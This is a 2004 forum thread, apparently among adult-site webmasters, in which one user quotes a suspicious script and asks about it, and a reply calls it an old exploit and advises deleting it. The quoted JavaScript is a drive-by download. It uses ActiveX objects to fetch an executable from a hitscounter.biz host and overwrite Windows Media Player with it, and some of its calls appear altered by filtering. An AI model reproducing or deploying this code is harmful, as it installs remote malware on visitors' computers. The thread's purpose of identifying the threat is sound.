07-12-2004, 05:09 PM
|
|
|
Icq: 14420613
Industry Role:
Join Date: Mar 2001
Location: chicago
Posts: 15,431
|
Quote:
Originally posted by FreeOnes
http://traffic.hitscounter.biz/count65/ss.js.php
wmplayerpaths= [ "C:\\Programmer\\Windows Media Player\\wmplayer.exe", "D:\\Programmer\\Windows Media Player\\wmplayer.exe", "C:\\Program\\Windows Media Player\\wmplayer.exe", "D:\\Program\\Windows Media Player\\wmplayer.exe", "C:\\Programme\\Windows Media Player\\wmplayer.exe", "D:\\Programme\\Windows Media Player\\wmplayer.exe", "C:\\Programmi\\Windows Media Player\\wmplayer.exe", "D:\\Programmi\\Windows Media Player\\wmplayer.exe", "C:\\Programfiler\\Windows Media Player\\wmplayer.exe", "D:\\Programfiler\\Windows Media Player\\wmplayer.exe", "C:\\Programas\\Windows Media Player\\wmplayer.exe", "D:\\Programas\\Windows Media Player\\wmplayer.exe", "C:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Program Files\\Windows Media Player\\wmplayer.exe", "C:\\Program Files\\Windows Media Player\\wmplayer.exe" ]; function IfExists(path) { try { var r = 1; var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.LoadFromFile(path); } catch (e) { return 0; } return 1; } try { for (i=0;i<wmplayerpaths.length;i++) { wmplayerpath = wmplayerpaths[i]; if (IfExists(wmplayerpath)) break; } var x = new ActiveXObject("Microsoft.XMLHTTP"); xhahahahahaha("GET", "http://download.hitscounter.biz/count65/test.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.Write(x.responseBody); s.SaveToFile(wmplayerpath,2); location.href = "mms://"; } catch(e) { }
VBS/Psyme:http://us.mcafee.com/virusInfo/defau...virus_k=100749
thanks for your help 
|
Its an exploit if its a gallery submitted delete it if its a trade you might want to delete it.
Its an old exploit also not many people still use it. |
|
|